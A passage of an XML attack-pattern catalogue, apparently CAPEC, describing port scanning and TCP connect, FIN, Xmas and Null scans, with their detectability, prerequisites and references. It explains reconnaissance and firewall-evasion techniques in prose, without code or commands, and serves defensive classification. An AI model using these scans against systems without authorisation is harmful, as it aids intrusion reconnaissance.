				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="300" Name="Port Scanning" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a combination of techniques to determine the state of the
						ports on a remote target. Any service or application available for TCP or
						UDP networking will have a port open for communications over the network.
						Although common services have assigned port numbers, services and
						applications can run on arbitrary ports. Additionally, port scanning is
						complicated by the potential for any machine to have up to 65535 possible
						UDP or TCP services. The goal of port scanning is often broader than
						identifying open ports, but also give the attacker information concerning
						the firewall configuration. Depending upon the method of scanning that is
						used, the process can be stealthy or more obtrusive, the latter being more
						easily detectable due to the volume of packets involved, anomalous packet
						traits, or system logging. Typical port scanning activity involves sending
						probes to a range of ports and observing the responses. There are four types
						of port status that a port scan usually attempts to discover:</Text>
					<Block Block_Nature="List">
						<Text>1. Open Port: The port is open and a firewall does not block access to
							the port</Text>
						<Text>2. Closed Port: The port is closed (i.e. no service resides there) and
							a firewall does not block access to the port</Text>
						<Text>3. Filtered Port: A firewall or ACL rule is blocking access to the
							port in some manner, although the presence of a listening service on the
							port cannot be verified</Text>
						<Text>4. Unfiltered Port: A firewall or ACL rule is not blocking access to
							the port, although the presence of a listening service on the port
							cannot be verified.</Text>
					</Block>
					<Text> For strategic purposes it is useful for an attacker to distinguish
						between an open port that is protected by a filter vs. a closed port that is
						not protected by a filter. Making these fine grained distinctions is
						impossible with certain scan types. A TCP connect scan, for instance, cannot
						distinguish a blocked port with a active service from a closed port that is
						not firewalled. Other scan types can only detect closed ports, while others
						cannot detect port state at all, only the presence or absence of filters.
						Collecting this type of information tells the attacker which ports can be
						attacked directly, which must be attacked with filter evasion techniques
						like fragmentation, source port scans, and which ports are unprotected (i.e.
						not firewalled) but aren't hosting a network service. An attacker often
						combines various techniques in order to gain a more complete picture of the
						firewall filtering mechanisms in place for a host.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite/>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft arbitrary packets of various protocol types for use
					during network reconnaissance. This can be achieved via the use of a network
					mapper or scanner, or via socket programming in a scripting language. Packet
					injection tools are also useful for this purpose. Depending upon the method used
					it may be necessary to sniff the network in order to see the response. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>310<!--Scanning for Vulnerable Software--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 54</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC768 - User Datagram Protocol</Reference_Title>
					<Reference_PubDate>1980</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc768.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 4.1 Introduction to Port Scanning, pg.
						73</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="301" Name="TCP Connect Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses full TCP connection attempts to determine if a port is
						open. The scanning process involves completing a 'three-way handshake' with
						a remote port, and reports the port as closed if the full handshake cannot
						be established. An advantage of TCP connect scanning is that it works
						against any TCP/IP stack. RFC 793 defines how TCP connections are
						established and torn down. TCP connect scanning commonly involves
						establishing a full connection, and then subsequently tearing it down, and
						therefore involves sending a significant number of packets to each port that
						is scanned. This type of scanning has the following characteristics.
						Compared to other types of scans, a TCP Connect scan is slow and methodical.
						This type of scanning causes considerable noise in system logs and can be
						spotted by IDS/IPS systems. In terms of port status, TCP Connect scanning
						can detect when a port is open by completing the three-way handshake, but it
						cannot distinguish a port that is unfiltered with no service running on it
						from a port that is filtered by a firewall but contains an active service.
						Due to the significant volume of packets exchanged per port, TCP connect
						scanning can become very time consuming. Generally, it is not used as a
						method for performing a comprehensive port scan, but is reserved for
						checking a short list of common ports. A TCP Connect scan has the following
						characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP Connect scanning is very slow.</Text>
						<Text>2. Stealth: TCP SYN scanning is extremely noisy and involves a
							significant number of packets.</Text>
						<Text>3. Open Port: Detects that a port is open via a successful three-way
							handshake</Text>
						<Text>4. Filtered Port: Cannot distinguish a closed (unfiltered) port from
							an open (filtered) port.</Text>
						<Text>5 .Unfiltered Port: Can detect an unfiltered port only when the
							unfiltered port is in front of an active TCP/IP service. </Text>
					</Block>
					<Text> The TCP Connect scan has the advantage of versatility and ease of use in
						that it works equally well against all TCP stacks and that it is easy for a
						novice to interpret the results of the scan due to its all or nothing
						nature. Its disadvantages are noise, speed, and poor visibility into the
						filter structure of a firewall. As a general rule, performing a full TCP
						connect scan against a host can take multiple days.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The TCP connect requires the ability to connect to an available port and
						complete a 'three-way-handshake' This scanning technique does not require
						any special privileges in order to perform. This type of scan works against
						all TCP/IP stack implementations. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to build full TCP connections with a target. This can be achieved
					via the use of a network mapper or scanner, or via routine socket programming in
					a scripting language. This can be achieved via the use of a network mapper or
					scanner, or via socket programming in a scripting language. Packet injection
					tools are also useful for this purpose. Depending upon the method used it may be
					necessary to sniff the network to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 54</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.3 TCP Connect Scanning, pg. 100</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="302" Name="TCP FIN scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a TCP FIN scan to determine if ports are closed on the
						target machine. This scan type is accomplished by sending TCP segments with
						the FIN bit set in the packet header. The RFC 793 expected behavior is that
						any TCP segment with an out-of-state Flag sent to an open port is discarded,
						whereas segments with out-of-state flags sent to closed ports should be
						handled with a RST in response. This behavior should allow an attacker to
						scan for closed ports by sending certain types of rule-breaking packets (out
						of sync or disallowed by the TCB) and detect closed ports via RST packets.
						The major advantage of this scan type is its ability to scan through
						stateless firewall or ACL filters. Such filters are configured to block
						access to ports usually by preventing SYN packets, thus stopping any attempt
						to 'build' a connection. FIN packets, like out-of-state ACK packets, tend to
						pass through such devices undetected. Many operating systems, however, do
						not implement RFC 793 exactly and for this reason FIN scans do not work as
						expected against these devices. Some operating systems, like Microsoft
						Windows, send a RST packet in response to any out-of-sync (or malformed) TCP
						segments received by a listening socket (rather than dropping the packet via
						RFC 793), thus preventing an attacker from distinguishing between open and
						closed ports.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP FIN scanning is fast compared to other types of
							scans</Text>
						<Text>2. Stealth: TCP FIN scanning is stealthy compared to other types of
							scans</Text>
						<Text>3. Open Port: Detects an open port via no response to the
							segment</Text>
						<Text>4. Closed Port: Detects that a closed via a RST received in response
							to the FIN</Text>
						<Text>5. Filtered Port: Cannot distinguish between a filtered port and an
							open port</Text>
						<Text>6. Unfiltered Port: Cannot distinguish between an unfiltered port and
							a non-stateful filtered port</Text>
					</Block>
					<Text> FIN scans are limited by the range of platforms against which they work.
						Additionally, because open ports are inferred via no responses being
						generated, one cannot distinguish an open port from a filtered port without
						further analysis. For instance, FIN scanning a system protected by a
						stateful firewall may indicate all ports being open. For these reasons, FIN
						scanning results must always be interpreted as part of a larger scanning
						strategy. FIN scanning is still relatively stealthy as the packets tend to
						blend in with the background noise on a network link. FIN scans are detected
						via heuristic (non-signature) based algorithms, much in the same way as
						other scan types are detected.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>FIN scanning requires the use of raw sockets, and thus cannot be performed
						from some Windows systems (Windows XP SP 2, for example). On Unix and Linux,
						raw socket manipulations require root privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP FIN segments to a host during network reconnaissance.
					This can be achieved via the use of a network mapper or scanner, or via raw
					socket programming in a scripting language. Packet injection tools are also
					useful for this purpose. Depending upon the method used it may be necessary to
					sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 55</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.5 TCP FIN, NULL, XMAS Scans, pg.
						107</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition</Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="303" Name="TCP Xmas Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a TCP XMAS scan to determine if ports are closed on the
						target machine. This scan type is accomplished by sending TCP segments with
						the all flags sent in the packet header, generating packets that are illegal
						based on RFC 793. The RFC 793 expected behavior is that any TCP segment with
						an out-of-state Flag sent to an open port is discarded, whereas segments
						with out-of-state flags sent to closed ports should be handled with a RST in
						response. This behavior should allow an attacker to scan for closed ports by
						sending certain types of rule-breaking packets (out of sync or disallowed by
						the TCB) and detect closed ports via RST packets. he major advantage of this
						scan type is its ability to scan through stateless firewall or ACL filters.
						Such filters are configured to block access to ports usually by preventing
						SYN packets, thus stopping any attempt to 'build' a connection. XMAS
						packets, like out-of-state FIN or ACK packets, tend to pass through such
						devices undetected. Many operating systems, however, do not implement RFC
						793 exactly and for this reason FIN scans do not work as expected against
						these devices. Some operating systems, like Microsoft Windows, send a RST
						packet in response to any out-of-sync (or malformed) TCP segments received
						by a listening socket (rather than dropping the packet via RFC 793), thus
						preventing an attacker from distinguishing between open and closed
						ports.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP XMAS scanning is fast compared to other types of
							scans</Text>
						<Text>2. Stealth: TCP XMAS scanning was once stealthy, but is now easily
							detected by IDS/IPS systems</Text>
						<Text>3. Open Port: Detects an open port via no response to the
							segment</Text>
						<Text>4. Closed Port: Detects that a closed via a RST received in response
							to the FIN</Text>
						<Text>5. Filtered Port: Cannot distinguish between a filtered port and an
							open port</Text>
						<Text>6. Unfiltered Port: Cannot distinguish between an unfiltered port and
							a non-stateful filtered port</Text>
					</Block>
					<Text> XMAS scans are limited by the range of platforms against which they work.
						Additionally, because open ports are inferred via no responses being
						generated, one cannot distinguish an open port from a filtered port without
						further analysis. For instance, XMAS scanning a system protected by a
						stateful firewall may indicate all ports being open. Because of their
						obvious rule-breaking nature, XMAS scans are flagged by almost all intrusion
						prevention or intrusion detection systems.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>XMAS scanning requires the use of raw sockets, and thus cannot be
						performed from some Windows systems (Windows XP SP 2, for example). On Unix
						and Linux, raw socket manipulations require root privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP segments with every flag set to a host during network
					reconnaissance. This can be achieved via the use of a network mapper or scanner,
					or via raw socket programming in a scripting language. Packet injection tools
					are also useful for this purpose. Depending upon the method used it may be
					necessary to sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Unexpected State</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.5 TCP FIN, NULL, XMAS Scans, pg.
						107</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="304" Name="TCP Null Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a TCP NULL scan to determine if ports are closed on the
						target machine. This scan type is accomplished by sending TCP segments with
						no flags in the packet header, generating packets that are illegal based on
						RFC 793. The RFC 793 expected behavior is that any TCP segment with an
						out-of-state Flag sent to an open port is discarded, whereas segments with
						out-of-state flags sent to closed ports should be handled with a RST in
						response. This behavior should allow an attacker to scan for closed ports by
						sending certain types of rule-breaking packets (out of sync or disallowed by
						the TCB) and detect closed ports via RST packets. he major advantage of this
						scan type is its ability to scan through stateless firewall or ACL filters.
						Such filters are configured to block access to ports usually by preventing
						SYN packets, thus stopping any attempt to 'build' a connection. NULL
						packets, like out-of-state FIN or ACK packets, tend to pass through such
						devices undetected. Many operating systems, however, do not implement RFC
						793 exactly and for this reason NULL scans do not work as expected against
						these devices. Some operating systems, like Microsoft Windows, send a RST
						packet in response to any out-of-sync (or malformed) TCP segments received
						by a listening socket (rather than dropping the packet via RFC 793), thus
						preventing an attacker from distinguishing between open and closed
						ports.</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP NULL scanning is fast compared to other types of
							scans</Text>
						<Text>2. Stealth: TCP NULL scanning was once stealthy, but is now easily
							detected by IDS/IPS systems</Text>
						<Text>3. Open Port: Detects an open port via no response to the
							segment</Text>
						<Text>4. Closed Port: Detects that a closed via a RST received in response
							to the FIN</Text>
						<Text>5. Filtered Port: Cannot distinguish between a filtered port and an
							open port</Text>
						<Text>6. Unfiltered Port: Cannot distinguish between an unfiltered port and
							a non-stateful filtered port</Text>
					</Block>
					<Text> NULL scans are limited by the range of platforms against which they work.
						Additionally, because open ports are inferred via no responses being
						generated, one cannot distinguish an open port from a filtered port without
						further analysis. For instance, NULL scanning a system protected by a
						stateful firewall may indicate all ports being open. Because of their
						obvious rule-breaking nature, NULL scans are flagged by almost all intrusion
						prevention or intrusion detection systems.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>NULL scanning requires the use of raw sockets, and thus cannot be
						performed from some Windows systems (Windows XP SP 2, for example). On Unix
						and Linux, raw socket manipulations require root privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP segments with no flags set to a host during network
					reconnaissance. This can be achieved via the use of a network mapper or scanner,
					or via raw socket programming in a scripting language. Packet injection tools
					are also useful for this purpose. Depending upon the method used it may be
					necessary to sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
